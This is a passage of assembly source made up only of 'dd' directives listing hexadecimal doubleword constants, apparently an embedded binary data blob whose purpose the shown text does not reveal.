7F275B00h, 0B8B8673h dd 514D00E0h, 1CF147F8h, 9A3A0776h, 80A0802Dh, 0BA83E3Fh dd 0F2440072h, 8D6C41C5h, 6400529Fh, 0C626E3Ch, 2C27A4h dd 6A90405Bh, 5ACD6921h, 0D8D20D00h, 0B8E7983h, 3A71F826h dd 7FE04C2h, 131A09A4h, 0EC1FA1FEh, 0FDDFC00Bh, 52D6B000h dd 0E5BC27E3h, 0D16F0399h, 481FE859h, 0F0F8EFD3h, 5401BA29h dd 695E4696h, 0FE60D9BCh, 6A4D00B0h, 0D6C01D94h, 0BD3E7E73h dd 350A0098h, 62C6F51Ah, 0DCC73053h, 0C40754Ch, 59BDE900h dd 9AE32B90h, 0B2CE0033h, 9921E06Ah, 16381D54h, 2B938339h dd 0DB79C5F4h, 252800D2h, 8D26FA81h, 0F20EC984h, 0A0F028E8h dd 0F9CD7301h, 7E15EE04h, 0E46602C0h, 19809F4Bh, 0E0ECB8E1h dd 0DA004865h, 4AC7F053h, 28C89EA2h, 0CDD031h, 0CF892F7Eh dd 0AF791AC6h, 2BA0FE00h, 45D8B175h, 9D990062h, 5EF385B3h dd 4E00013Dh, 8C8B0CFEh, 71B26Bh, 6487B1B8h, 2DB72B77h dd 0D9F5601h, 91B43433h, 0E534DE0h, 0D331DF94h, 0F057E1A0h dd 0F900AFDEh, 48D9033Ah, 810855h, 9458C865h, 2F7FAC18h dd 0CCCDE702h, 0E1AE7C90h, 0A03B24EBh, 3A02C14Fh, 64CA280Fh dd 440F4033h, 44494CB9h, 0BC99F380h, 0D22CD140h, 4E00C188h dd 0F13262F2h, 0C31E1D09h, 5AE90F70h, 0A54A6D80h, 0B31EEBE8h dd 0C5C07113h, 8FCC1101h, 0E02A0057h, 73DF0261h, 0CB00E216h dd 0AF562F37h, 0D4418Bh, 0CF25E071h, 0B299553Ch, 0F98C0100h dd 7FC9213Dh, 0CB3B00C4h, 65908F9Dh, 530066ACh, 1300898h dd 241183CAh, 24BD0B2Eh, 662C0700h, 4B0710C9h, 8B485D0Dh dd 0D13E014Dh, 2A92BCC2h, 78C760F6h, 1AFB0045h, 8BCF8E06h dd 96006754h, 701BBF3Bh, 0A9C65Ah, 9F3B9EAh, 7B7E6F81h dd 0B894B00h, 29153ADEh, 0CE062461h, 94B30069h, 0D80C7D5Bh dd 4DB71B03h, 0A8FFE179h, 5EBA495h, 0F29E559h, 0F1F4409Ch dd 9EBC36E8h, 0DC572004h, 0CB80BA69h, 0F68A1BECh, 1EC7000Bh dd 4A9A2CFBh, 5A0011B8h, 0EE02331h, 0B891A895h, 981D0504h dd 0BF14476Ch, 3040F480h, 0A52200E6h, 3A2C7FF9h, 0B30E8754h dd 602EBBD1h, 0AA75E765h, 0D41E00CFh, 4950408Fh, 61018901h dd 0E5703531h, 0D020C651h, 9C993A10h, 14D2C787h, 23119015h dd 0EC7FD8E2h, 6086AA09h, 30048168h, 64C4CB4Fh, 9EAF00D0h dd 25FD91A0h, 60B824DBh, 2833E92Eh, 8B72D640h, 0B6E70067h dd 164A98D8h, 5675B479h, 0F78ED000h, 0D7D4BCDBh, 0C7F0118h dd 0EAA8AD23h, 814CD02Ch, 0BDD39400h, 0E37886E1h, 0F1AA0043h dd 404DEE5Dh, 2C0F9BDAh, 8011A8F4h, 15D27AC1h, 26D93992h dd 4E662800h, 0F2BC202Fh, 0AB643A00h, 3297D72Eh, 0D6B05D3h dd 80D448D5h, 0B3112A88h, 7345E200h, 9C63285Eh, 40FF003Dh dd 7BD5F069h, 1000E6Bh, 0E1AAA06Ch, 0B1EF8Bh, 65F9EDFh dd 0ABD8D4E7h, 47D5A00h, 0DE6F18E0h, 88550203h, 8D142C86h dd 9038C52h, 4C1A5470h, 6BCAC8D8h, 0D7BD51B0h, 944092D5h dd 1642FCFh, 0B61CEB02h, 0D8733340h, 2D001DB8h, 1B08FD8Fh dd 0C061563Dh, 6F1128F0h, 0B100A339h, 41DC9A0h, 4EB89Eh dd 0E341AD02h, 0A24879A1h, 0A4E09724h, 3C28FA50h, 77007206h dd 15705BA4h, 9158DAA1h, 139D1793h, 0CC40CC1Ch, 2BF1176Ch dd 0C2140071h, 0F695AE72h, 8B053AD8h, 604C754Fh, 0E0332880h dd 0A7F50004h, 3CC1D969h, 18000FCCh, 0B882C3BCh, 0EFB24852h dd 18550FCh, 0FBD4BBE6h, 0E1217EDEh, 2CC3CEE4h, 0C586F7A0h dd 7C664A07h, 6D10F45Ah dd 9877ADCAh, 5B200085h, 0DBAFB0BFh, 0DC58FA88h, 5C0F0044h dd 0E599E607h, 0B76F0005h, 0EE82E75Ah, 38787116h, 3DC22100h dd 0AC4B4C02h, 9C300079h, 0EAE8BC3Eh, 0A40EC5E4h, 5CA95232h dd 0C832FFD3h, 5B4C207Bh, 0D8003D48h, 7F4EEF34h, 2E9799F1h dd 3AFCB3DFh, 0F500893Bh, 0CAC83928h, 0C700B4FFh, 0F7BE3CC3h dd 4ABAF9h, 875C69EBh, 7BD34704h, 0F1918509h, 96440034h dd 7DD437DDh, 0D95907CBh, 20E9FC35h, 477B5B60h, 933F2400h dd 848CEA9Ah, 490700DCh, 0CBF53856h, 330078A3h, 3C889B5Bh dd 3A53EB41h, 0CCDC9434h, 0D9907203h, 5000C480h, 1D09EDC2h dd 2738614h, 62175F32h, 0D9C0B4EEh, 0B23DDE55h, 8007BFF7h dd 18D5DFE1h, 362E0CEh, 4A784576h, 0FFA92D1Ah, 71C4D923h dd 88D9C87Ch, 9F71CEFAh, 807D6D3Ah, 55CDD8C1h, 2678FD8Dh dd 21053DDh, 0D3235CEAh, 0A0F944C0h, 7A623F02h, 63DF40B0h dd 0D2BA93E8h, 45F287A2h, 4789A130h, 34BD02E4h, 1B74FF0Bh dd 7E7850E0h, 0E701A271h, 5053CC41h, 89CC63B4h, 0A72D00C2h dd 0B8D93D2Ch, 7D3A73FAh, 40BE80EAh, 6D0A4C36h, 34F301A6h dd 88D1A7FFh, 3873F89Ah, 33FD1413h, 8AC0F800h, 7A25C6h dd 0A285F083h, 0CCB85BF2h, 4F742009h, 0C0682084h, 8DF950h dd 0E754C9B2h, 3B94E1AFh, 7200DB78h, 0BE6699B4h, 604E15h dd 0E3650D8Eh, 36879741h, 80CA6F38h, 76C54D11h, 17E789h dd 0FF6A8E6Bh, 0CCA871F5h, 6F8F8200h, 6C2E9AA3h, 4E720059h dd 2DED03B8h, 0E1759160h, 93A4D050h, 0CC7A9700h, 0A76D163Ah dd 7553901Bh, 3BA400FBh, 19A310C7h, 7B006A37h, 698FD855h dd 74BF80FCh, 0E95B8C2h, 10580C98h, 0D5CBD063h, 0E4883DCBh dd 1C0072FBh, 0D8475312h, 90ED1Eh, 4C0CEEB3h, 82712859h dd 331C1700h, 75B15345h, 3C100E8h, 7CE647BDh, 0BA00C06Ch dd 2BFCE1ADh, 0B63B64F8h, 0BF4B006Ch, 26ECFA4Fh, 504CDCB0h dd 0C43F0Ah, 0E43953F1h, 2331B25h, 4B879575h, 7C40073Ch dd 0CE00ED1Dh, 948ADFC8h, 0F3C574h, 258145EBh, 0D89CC0E9h dd 82B8A900h, 0D4107075h, 0BADB1C30h, 5BEEC06Ch, 58B5491Fh dd 680260B8h, 0D4CD328Eh, 0CC14E04Ch, 0B3E55CC4h, 4809A800h dd 47E81227h, 43AAF200h, 6E9FE11Dh, 0D8994CAFh, 0D2188F00h dd 0B63EC4B5h, 9D297F00h, 3D53D602h, 67AEC4D4h, 0EF6C80DDh dd 0B6074A71h, 99A24CA9h, 0BA266ED1h, 0CA17FF8h, 51313FD1h dd 0EF078DB2h, 0D39E1B47h, 9746A00Eh, 160D4Ah, 6D7D28FEh dd 36BB71C2h, 17B56200h, 0C088F6B6h, 0CB8F0030h, 8EA7C57Ch dd 600321Ah, 0D1FA3F4Eh, 0CF6752h, 14868D2Eh, 0A77B9141h dd 5ACA3600h, 0ABD3AD89h, 14E00B1h, 84F4929Eh, 1B0088C0h dd 738F4C4Ah, 721CFD45h, 6197E3Ah, 0F74F0C16h, 373F32A7h dd 0A376131Bh, 0FE18E800h, 152F653h, 1DB4A020h, 315BBFC1h dd 866BF444h, 17BBA900h, 0A784F9C9h, 0E9411CA0h, 2E4EC06Dh dd 0D9FDBD22h, 76512000h, 58CBC7C4h, 9EE2000Ah, 0FC6BCC69h dd 0D9A02C8Ch, 0AF0CC95Ch, 0B81DB65Eh, 0D24A07D0h, 374D90D3h dd 4623E041h, 753A7912h, 8092BA11h, 26918E28h, 26322DBh dd 0CAA950B0h, 0F560E3B7h, 2D00A77Dh, 675FD01h, 9027FBB3h dd 0D87000B1h, 4203FCAh, 6E2E58B4h, 0FA009E02h, 5E14DD53h dd 2CF301D7h, 0FCDC7AE8h, 511A30CAh, 68D33F02h, 0CB703B7Dh dd 0AA27C048h, 0A2D800D7h, 8C15B651h, 1A1217FDh, 14001804h dd 94E5F3BBh, 0F9B900C1h, 3D20FCFh, 807B9748h, 3E727A05h dd 768071C0h, 215646Fh, 5BDB2939h, 60E16D4Dh, 4432D86Ah dd 879A4500h, 67AF70F7h, 4CC11E61h, 0F1F3C7DEh, 16E650CEh dd 7003834h, 96D159A9h, 0EAC08F6h, 0EAF3108Fh, 0B8C9E940h dd 0A50B2523h, 2529FB5h, 8109DF6Eh, 312782F4h, 167301D0h dd 0C8221Ah, 8BFAB1E4h, 629834A6h, 2C0045E4h, 86A7DD5h dd 30F0EE95h, 42DA1E2Bh, 180FE6F2h, 24F51A87h, 78C837FDh dd 0F7E6B7h, 0B9D91D03h, 6A55EBFCh, 0A8650C00h, 31E4DD26h dd 0E8B126DFh, 56581C70h, 8DDC04ACh, 0E41080EDh, 0BF12D922h dd 0D401C68Fh, 0D3714FAEh, 0B200886Ch, 0D21C26E1h, 0D7002E1Fh dd 0B69A56DAh, 14CF541Bh, 9567A749h, 647326h, 0C770411Ah dd 0FF09218Ch, 8750EB79h, 3120E239h, 145AF8Bh, 8C19DC9Eh dd 0C47B2253h, 0A601B85Eh, 172F031Fh, 7E1D3Dh, 368BE7A0h dd 0FD137A3Ah, 844091C2h, 79287D9Eh, 9F7B00D7h, 8DED49C5h dd 2700A297h, 0DDF75E3Bh, 9EE0181h, 5911BAFCh, 49DE0C00h dd 190195B4h, 7F13E541h, 0CAED6D87h, 7BB35E8h, 0D7D2FBE6h dd 688966A6h, 0D6B1520Eh, 294E2056h, 5C8F2h, 0DC761681h dd 0C41F31E6h, 0BCA42839h, 625D0037h, 0D9E9A84Bh, 704A0075h dd 200B88F1h, 0ED01BB77h, 8980176h, 54DC65C4h, 2BA013Fh dd 0F64847E1h, 567820A1h, 0EC20360Fh, 160E670Bh, 8877220h dd 4F1B0E59h, 12C08D6Eh, 43E0D65Dh, 4EA9C800h, 0D8F98499h dd 77A8EA26h, 9EC70059h, 5D041E5Ah, 131EB6DAh, 0E440D84Eh dd 6BBD8EA0h, 0BB793CFBh, 192CAD80h, 3B966FABh, 41812807h dd 808BC1DBh, 0DF5BF10Bh, 645C1229h, 201800B1h, 0EEE64FABh dd 985ABD90h, 0B6E71800h, 39BFA169h, 0F4C5D6h, 8250555Fh dd 4DCF5A0Dh, 4784E50Fh, 0C492773h, 0CCAC0B60h, 5ECB162Ch dd 0D1E00035h, 5B966C62h, 2B66F800h, 55B7B6A4h, 328F00F9h dd 5020A5CCh, 7E04FA96h, 91F88677h, 224F5C80h, 0D91E00B3h dd 4AA5159Eh, 0AA070954h, 0D64D3A68h, 3510B847h, 4B6CC012h dd 87B01E98h, 566DBE7Eh, 0A70010C4h, 400D4D32h, 3E56BD8Ch dd 5C80444Ah, 9E5FB155h, 0E7034764h, 0D187C172h, 17E298BDh dd 2AD2002Dh, 79C27DDBh, 23E8BE4Ah, 701CE42Dh, 559204B1h dd 0E07D2604h, 7C2E3F6Ch, 3BCDCE9h, 0DD296711h, 2CAED1A1h dd 0DE98E0h, 229F60A6h, 38F61A47h, 34243100h, 0EB42DA74h dd 2DA6002Ah, 1DF0A9FFh, 6548579Eh, 0A8FD009Ah, 602E64A3h dd 0C9D701D9h, 3C877958h, 0DC443099h, 7F0BE58h, 0BFDE3E1Dh dd 73A9C460h, 443031Eh, 9379F296h, 80928795h, 9F8CD112h dd 10E7600h, 0B4C9A6E5h, 701E7097h, 27983FB8h, 4DC3928h dd 0E5241735h, 2D44C899h, 0F86C512Ch, 0DD5DD79Ch, 0E88054D7h dd 3E325Eh, 6A875545h, 0B92721F4h, 0A89B4D3Fh, 0B4038CEDh dd 3F452CFDh, 0D55AC0E8h, 310D001Ah, 15A61DCAh, 5858B2EBh dd 0E65D0A60h, 9F01B830h, 0D89BD783h, 0BD00B82Ch, 0DF47F380h dd 0E90EC045h, 0A01D8103h, 9DC6216Fh, 83440E38h, 0BCFCD90h dd 9BCA68A0h, 357EBAD6h, 59F36700h, 0F06D05BEh, 41980010h dd 1CB1F531h, 0AA05F7CAh, 0E567A302h, 0F43888D0h, 3DC35CD9h dd 0B7CC16h, 2634D7F4h, 5F006454h, 0C0425552h, 0E0E4C5h dd 0FC088512h, 0A853671Ah, 620E2C02h, 8088EDE6h, 0FAAD97F9h dd 1CDC484Eh, 3AD6B600h, 5046340Ch, 40B7BF06h, 740B323h dd 0BAA54CB9h, 0C20F4032h, 414C2955h, 595000A4h, 0E652B946h dd 9492F6h, 0C6FF9749h, 1295C38h, 0FDC2421Dh, 0DE7CF707h dd 40460992h, 0A6EBAAh, 320F14B1h, 0CAE41783h, 8A95AC00h dd 279B5AFDh, 934F00D5h, 0F97BE255h, 0CA007481h, 6B3E2E63h dd 1BD5292h, 9FEF5610h, 0D04604CBh, 1D00692Ch, 0B911A23h dd 4BD57D1h, 0D3F4E0B8h, 0C2408C32h, 0E24B9500h, 0A08A163Bh dd 9CCD487Fh, 7730490Eh dd 57CC7EA0h, 69134CD3h, 0C4085E6h, 0E21BAC63h, 30E00F5h dd 0C262BA92h, 0A300D645h, 8CDBBC43h, 1E9F363Bh, 4BB34441h dd 5080E199h, 45A11E30h, 12CF39h, 562341Ah, 299E3DAh, 2B6C6FC9h dd 0A0E6922Dh, 0C04D3100h, 0FC418596h, 9DC80952h, 404B347h dd 73489C5Bh, 501FC300h, 2F853FF7h, 347D006Ah, 52131D2Eh dd 3859312Ah, 786300B0h, 9F989A70h, 0EDC006FAh, 59D0E74Fh dd 23AEC207h, 6E525388h, 605A62A0h, 0CF9C724h, 0DD034689h dd 81004A49h, 0C6C1C342h, 785B23h, 193A4C7Ah, 2657B733h dd 0BDC5FD00h, 3D6B877Dh, 24819546h, 0E306A1AAh, 0E4E9F7F0h dd 10404D02h, 8045521Eh, 0D012A2F3h, 1D4A0F9Ah, 0AFE0A1F2h dd 0CA9092A8h, 0E0A5800h, 464D53CDh, 7C874C7Ah, 0DFD90500h dd 367BF144h, 0A4F5809h, 0BD7700E0h, 26079A76h, 768D5h dd 61B5FFE7h, 6300FA77h, 0D21D1BFCh, 17BEDB22h, 38C803h dd 9A2ACC34h, 82006704h, 78175DB4h, 0FC687F20h, 588EECBCh dd 88008E23h, 0A8DBF2EAh, 7424018Bh, 690020C5h, 12D697D3h dd 0F59405C8h, 0C782A33Dh, 634A8035h, 7E0092B8h, 2DAF6F97h dd 2C4766h, 0AEA76C68h, 0E9C15098h, 9B86C500h, 0CA7D90BBh dd 0B0760202h, 653F3E46h, 0BFA9FC80h, 0C4A007F1h, 0A712AF45h dd 28003927h, 0BBB0DDC4h, 0E02F012Ch, 0FE80A583h, 0D14B6070h dd 4425C8B8h, 0A918003Bh, 1D2A5639h, 803E6DBBh, 335E8D7Eh dd 1801E190h, 0EE122B36h, 463005F1h, 74150382h, 7E9A0119h dd 48298BD0h, 0A1A29800h, 151B2BF5h, 7C5625C2h, 0AC8C20C0h dd 6646D100h, 53116C9h, 36E50052h, 88759989h, 0A43B22B6h dd 186E30D7h, 0C6AFE0h, 70545D6Dh, 0D457D671h, 5BC58D1Ch dd 6F8E9E80h, 2B5D0D9h, 18C0E789h, 9CE07A58h, 92592E0Ch dd 61961CD0h, 0C9B2F340h, 0EBA4A68h, 6E8F9CC5h, 0F8652140h dd 38007014h, 743E766h, 79763BDAh, 0F57C0394h, 3487E27Bh dd 4A72CBC0h, 74332103h, 0D83FB153h, 12AF31h, 9B988DA2h dd 0EF85DFE8h, 0B089905h, 0CF833496h, 0E0D3C27Eh, 50BC04h dd 58743212h, 716D6E61h, 8C31CC28h, 2C0995Ch, 0EED07768h dd 4A2850DDh, 40441218h, 0E67A3AC8h, 711399F3h, 0B70014A9h dd 0D9CB7DFBh, 9FDD1F63h, 5244C042h, 4A5C3DD8h, 7C082F00h dd 0E247599Ah, 2E0900CCh, 85980E6Eh, 440B17EEh, 87536312h dd 0B76045E9h, 5CADA9AFh, 0FD13DA1Ah, 0DFD30FC3h, 57807F6Bh dd 3D0CD343h, 531F4D00h, 0B428B240h, 0D46F0B06h, 1781748Ch dd 0C883B9A3h, 0DD00A19Dh, 0D8A8E379h, 0C2BF6Ch, 112E85Fh dd 0E590A440h, 41567607h, 0DB5367EDh, 32888030h, 0D86400C4h dd 0CCDCBEA7h, 29009A7Eh, 4AA19ECFh, 3E9BB02Ch, 0C2805553h dd 316EF0ECh, 0BD02FC28h, 77C39A59h, 0B8EF4024h, 0CBBC00EDh dd 6C0555EEh, 0D41EB5C2h, 0EC1190Dh, 5E202E0Ah, 0AFE030h dd 1C2F4CEFh, 4B8A3566h, 86E0C71Ch, 80BAED00h, 475B44h dd 89057D1Dh, 0A4CA4677h, 0DCB41626h, 0B487BF50h, 6CC904A8h dd 0E48A87Fh, 0BCC40AEh, 0D35182F4h, 7CF8A2h, 0B40A6360h dd 57CD938h, 720095E8h, 3F939B55h, 2C9D4416h, 30B7601Dh dd 9A350A38h, 0FD2CED00h, 8CA98E86h, 2C747BC2h, 0C32E7Ch dd 400CF826h, 0B82D9E1Eh, 0B9B0B853h, 0EB820021h, 5F4AE2C0h dd 460045BAh, 5EBFC929h, 309BAC26h, 53566F8Fh, 1400C7FAh dd 0D80A799Ch, 71968BCh, 0CE01554Bh, 5FC9C049h, 0C107EFD7h dd 893F53F4h, 20EEA900h, 5D2000Bh, 54BEA166h, 2503467h dd 5207D6E8h, 320DE062h, 0F03D5351h, 371D7068h, 3B41AC90h dd 0C3F4F8h, 0DA652DFFh, 0B658F313h, 52F82A7Eh, 80D7FB3Ch dd 0F719D1A4h, 48FC62CDh, 0CE3C21ACh, 3D0027BAh, 20950EDDh dd 13009DCBh, 153BF979h, 561E4Ch, 0C151CCFFh, 8D767AB2h dd 4A0B6200h, 8ECE9448h, 30835FCBh, 57BECC00h, 0D07D2300h dd 28AD8976h, 85CF0021h, 0BDF1B642h, 9000F3FDh, 0F06D9C9h dd 198D638h, 10F8B09Eh, 409BA27Fh, 73C551E4h, 896C293Bh dd 0B496B45h, 7E1E0080h, 714867B2h, 125301B9h, 0A5B1D14Ah dd 9787D00Dh, 7B9E8000h, 0A93BA12Fh, 8A6A00D9h, 21649B82h dd 8F0048C6h, 41103334h, 83A9BAh, 6F231B80h, 6D451A77h dd 6947300h, 767011ACh, 75D81EC6h, 141500B5h, 5D1E23FDh dd 0AE4F8300h, 65B6690Ah, 0EA6F004Bh, 39F96803h, 5700A5EEh dd 46B818F6h, 0E56AC85h, 9F5C8605h, 0AAB00B60h, 7800B5B3h dd 0CDAE175Bh, 392E08A4h, 912ECBEAh, 0A6D100D1h, 0BFCA4934h dd 5AC1AB00h, 0E87BB5Dh, 1CC20073h, 0BDCE8314h, 847E1EEEh dd 0D1FA11C0h, 602C37h, 0B411777Ah, 0E80AF085h, 1E63C100h dd 0B9AB271Ah, 25EF00E7h, 4A64CF87h, 0DD009178h, 0C5077F7Dh dd 0F624C604h, 0E8B5016Ah, 0E98F2367h, 434FD8D2h, 0D82B0C00h dd 48541FBAh, 87F3A1C7h, 77AAFEF0h, 0AB6A0037h, 0A4442393h dd 9800E0DFh, 269C5D30h, 8B9F33h, 0B660373Ah, 2E8AF471h dd 5FA1709h, 1611004Ch, 1E4F9245h, 804640ADh, 0A3D11FF7h dd 0A700E4A4h, 25E6DBEDh, 0B96A78h, 0D892154Ah, 0A0F02E60h dd 86CA1002h, 0C17C7629h, 7030B9E9h, 0B9D0FD3h, 6DA03F46h dd 4159D937h, 6EDFCA16h, 39D87C40h, 12E3F854h, 0F1807DE8h dd 25DAE0FCh, 0B705457Dh, 0E3042AABh, 90C3DE83h, 13500A22h dd 0E2E94h, 0B1BC854Fh, 0BB00A0D1h, 0B44D7280h, 4FEC1FD3h dd 0FB5C802Eh, 7167CF1Ah, 0C1505570h, 0B29A975h, 5663E1C2h dd 49A7AB00h, 0AC0680BCh, 0B2AFF42Eh, 36F93C31h, 0F5B5CE81h dd 0DB2AA401h, 487EBD92h, 0ECD81201h, 1840B0F4h, 0CD90424h dd 0C89F9BCCh, 0FA203081h, 7AC504DFh, 0D0153DEEh, 2B11D78h dd 0FCEA248h, 7B9B1739h, 0E5590338h, 538BA1CFh, 15794900h dd 0D1CB10C5h, 0A91216ACh, 99D4075Eh, 0AA9DF4DCh, 0B7C00BC0h dd 6ABD00DDh, 845BCAE3h, 8E00AA2Ah, 302B5935h, 439382h dd 0D3F01DE5h, 4CA67D75h, 8808D61Ch, 55F2A400h, 74696h dd 20322FF3h, 5E0AB5D2h, 0C68FB00h, 1D1F1774h, 4BC00037h dd 7E16A9CCh, 0E628B05Dh, 8D72C1E3h, 0BB941B07h, 942EA10Dh dd 834800F4h, 0A0EE50D9h, 36B40ECCh, 7289670Bh, 22610420h dd 0D900436Dh, 87DAD2B0h, 21760h, 0A854F12Ch, 27AF4872h dd 884E952Ah, 186CF30Ch, 5F186Eh, 69C84138h, 103E38Fh dd 0B4A59E16h, 4C6E70A4h, 98058F60h, 5FAF62BDh, 781F00C0h dd 826A6956h, 0FEBCD500h, 6EAF4B14h, 0B1BB0CB0h, 8130CB54h dd 2961800h, 0AD2D93F1h, 340300D0h, 2C8C79D7h, 0A500D26Dh dd 4D925AF3h, 104B59Bh, 0EAD856DEh, 0F4824084h, 0ED13ECCCh dd 0BB005E99h, 152C785Ch, 9F961C79h, 7FB1803Dh, 0BB389B77h dd 180035F0h, 84C039C7h, 26259Dh, 0C6D94D49h, 22445C3h dd 39BB2D00h, 8A2F3E92h, 69B00757h, 9FF42BD2h, 0A7D11DA0h dd 0D700F83Fh, 70DC8CB3h, 1C65DAB8h, 87F42F2Dh, 0B0BD43B4h dd 6B722EE8h, 0E613A801h, 3B087FD6h, 0FE955F4h, 61837743h dd 0F2149E20h, 0D818A0E1h, 8990224Bh, 5B0A0E30h, 0ACC0F3B2h dd 61AB4451h, 351C6C00h, 0DEA59345h, 25B00317h, 0F8D599FCh dd 0D1CC96E0h, 0F7CBE204h, 8C804E14h, 38BE623Dh, 2D836E4Bh dd 45387051h, 0B5FA0CC8h, 0E60AF61h, 2C40271Ch, 84E4216h dd 0D655FC22h, 0B898F941h, 42AA14CCh, 1B670869h, 36C40865h dd 8C302941h dd 6189002h, 0D14D40DFh, 41089242h, 761CB03Ch, 8B17BB91h dd 51C3025Ah, 2C844BB8h, 58E4C6FDh, 1F951421h, 0AD6C220Ah dd 77ED5940h, 88728064h, 68C058A2h, 510C3002h, 590B5C2Ch dd 0B12A647Dh, 742F4388h, 7ABE9B4Bh, 3B810050h, 0E76C3A60h dd 0F7022D54h, 12826483h, 0CD8157CEh, 0D8B3D625h, 0B50F3A61h dd 0E3AB04F9h, 1D630CA4h, 9EAE3D68h, 0F61A0047h, 0DC89FC45h dd 62DE8100h, 0AF2A129Ch, 227200F7h, 1FFFCA4Bh, 81008FDDh dd 7E4AE1A2h, 70A8928h, 34BEDE2Fh, 876E20F8h, 9B301331h dd 8D35E0FFh, 556C0089h, 8EB99FEDh, 72006879h, 5CC72501h dd 123DD163h, 795B12Eh, 664C5218h, 5163F003h, 0F8E6BEF9h dd 248AC716h, 0BE2C8B78h, 504D5800h, 2BD7304h, 0FAFC0800h dd 9209C846h, 8CF03DB3h, 5B1E3300h, 0D50F4730h, 0DBB54505h dd 0F1C1F5EBh, 0E451ABA4h, 0D1E41B3Dh, 0BF120043h, 0F92F0FC5h dd 7E50A953h, 100CF94h, 0C207E3F4h, 7A2EB4Fh, 6E3CE7A7h dd 5B4A15Ah, 0A0B0FBC8h, 4189E0Eh, 1510C5A6h, 8487509Ah dd 0CE7039h, 0B58D3738h, 99162555h, 95BF1A00h, 3B52D2E6h dd 0C64500CAh, 549BD5D7h, 8C40EC2Eh, 3C4D1B63h, 46F3A840h dd 0CC9B25B0h, 0E4B0BD51h, 0E4F2B6ADh, 0FC129100h, 3F72BE13h dd 0CB8134D1h, 7709C1C1h, 0E85E052h, 649EFF0Eh, 9A61239Ch dd 5C10D04Ah, 358116CFh, 3AF60058h, 7287557Dh, 92603E04h dd 24805E8Dh, 784F35h, 52EEF466h, 4BC28033h, 0FADD573Dh dd 7E925005h, 0B680977Ch, 1CB5688h, 9F1412D0h, 0E8390BCCh dd 66008483h, 0D3DDC6F8h, 303B753Fh, 7B788DAFh, 134C3EA8h dd 29500035h, 65E97A9Ch, 5EA330DAh, 5C612A30h, 4FDF3Bh dd 0A911ACB1h, 0C294AB3h, 0EE44677Dh, 0AF032D48h, 31A540F6h dd 41F5B87Ah, 162E01DCh, 3C73525Bh, 6A36E42Ch, 0D4811727h dd 0E64500AAh, 0D518E4EAh, 641EBD00h, 924BAF5Fh, 658B0046h dd 9E5B4F5h, 0A1C51DBh, 0E1C0DD74h, 3AA3D3A8h, 85363804h dd 1916450Eh, 10DB9500h, 2FA2371h, 1710FE60h, 0BCEAE63h dd 0AFFCF3A4h, 85BACA00h, 45002668h, 0D5666223h, 4D5908h dd 0FF53C82Bh, 139E56BBh, 7AC1B205h, 13C011C4h, 77C628E0h dd 0CA9A7A61h, 5C045310h, 4D73F1Fh, 8ABD00FEh, 0C7FDDE77h dd 15190048h, 0BC2D9137h, 551D69B6h, 0ECC194F6h, 8CB1A1ACh dd 72642880h, 54FA3723h, 8077BE3Ah, 86B81E26h, 78C1ABA7h dd 7998E7h, 82464E8Dh, 37BEB413h, 0C36AE01h, 255EC2B0h dd 90325620h, 0D11601D5h, 0F7F0512Ah, 8D451Ch, 76E6611Eh dd 0CF1C2127h, 328A8D65h, 170081B1h, 58426493h, 14FF276h dd 0B2C6EB88h, 7029F0FAh, 0E00A7ACh, 42CC1E02h, 481F84h dd 86C2AB61h, 0B603CAA1h, 1A76F500h, 0F870E5C9h, 269000E9h dd 5973CB27h, 0C300AE49h, 0B1FC147Ch, 748F256h, 0AC314D57h dd 4865021h, 3F008526h, 152E249Bh, 9A5201h, 2166E22Bh dd 57454FD1h, 8EF6183Ch, 2398A1D7h, 0E9021150h, 0B08081E4h dd 0A9DB80Ch, 62003B0Bh, 88E87D09h, 1B5874Eh, 0D26A1BB7h dd 70E06D56h, 351DFC54h, 0EFC0C3B4h, 7CE5F43Dh, 5445005Eh dd 0D919A56Eh, 7D00B8A2h, 152F32EAh, 2A4686Ch, 0EDA8CE5Ch dd 9AC02B0Fh, 23000CD1h, 96EEC4B8h, 0F548934Bh, 0CCDF87D1h dd 717862ECh, 0C9840F89h, 0C120120Dh, 0AEF529A6h, 6658D0FFh dd 5A0762F0h, 0BCB7CE27h, 9E2CAD80h, 554E3871h, 1E433580h dd 89366C48h, 21F1B700h, 0E4202A27h, 12320076h, 173BB405h dd 230046A1h, 95D202EAh, 7B86AF77h, 782F00DEh, 0A04EE95Eh dd 0F70325C1h, 1CA56AA2h, 5D7DE811h, 0D7100D6h, 0A79FC9B5h dd 0A43CC302h, 4D118032h, 81C27D8Ch, 0A33500ADh, 582AA7FFh dd 531EE2DDh, 0EA0007F8h, 5DA1F7AEh, 43453C2Bh, 0A300DE3Ch dd 9AADC233h, 98009C28h, 49FFFEC9h, 500CA8h, 0A4C5D458h dd 85AB09F2h, 0E11F1126h, 2956803Dh, 0C8EFAA70h, 0A00400D8h dd 2E5FC244h, 24008122h, 0B9FE1C0Ah, 3B1BD08Bh, 0DC00CC4Bh dd 1108B63Ch, 0F2009D91h, 5CF50238h, 43E7E3h, 0EC14180Eh dd 0A64CE01h, 3400FA98h, 38F91CA8h, 142FFCDh, 17D07EC8h dd 0E4F18202h, 0F090E7D5h, 0A6750CB0h, 6397DB00h, 0AA6D5C7Fh dd 0F638791Bh, 7867FA1Ch, 39EA0030h, 24B9BD84h, 0E50F72E7h dd 0D37505h, 8F5B2179h, 8D7739BCh, 366D7E80h, 0BD50FDF8h dd 8BD75400h, 87C9FEB1h, 42D03A7h, 26F0C698h, 0E1679800h dd 8E7659FCh, 577D00C1h, 5C9BA5D5h, 9713F140h, 3C00060Ah dd 64A86237h, 0B1D50389h, 31EB6646h, 0EC5B69C1h, 8D00C774h dd 0C00CB705h, 1BDEF29h, 54C54739h, 87F028C8h, 0E757D314h dd 0C5052F05h, 0B5009E08h, 0AEF9C5E0h, 6F0200AAh, 94888FDEh dd 5315C42Ch, 1D9058D5h, 24408D31h, 0A0059B9Ch, 7D5B00F1h dd 36BDB475h, 0C00A159h, 0AFDCF8D6h, 0BA078Fh, 0A86C7461h dd 2FB29C50h, 46CCF300h, 0EFCBF1B1h, 88EB0051h, 0E159D3Bh dd 0A101C5E5h, 525C9227h, 9ED1D13Dh, 501F1080h, 0F9D41DFBh dd 13729300h, 0E61756C0h, 38294C5Ch, 1AFE5A00h, 0CB7C5E60h dd 0A7ED4500h, 449E12A6h, 64DC48A9h, 3132CC0Eh, 6C763600h dd 780F30D2h, 75276Bh, 7B9447AEh, 0CD611E25h, 4B8A8098h dd 9C8867B6h, 355B83Ch, 2B8E7730h, 495E8879h, 0CA233924h dd 0E8267001h, 0CC4A2545h, 0D3011F37h, 0B83BB5A9h, 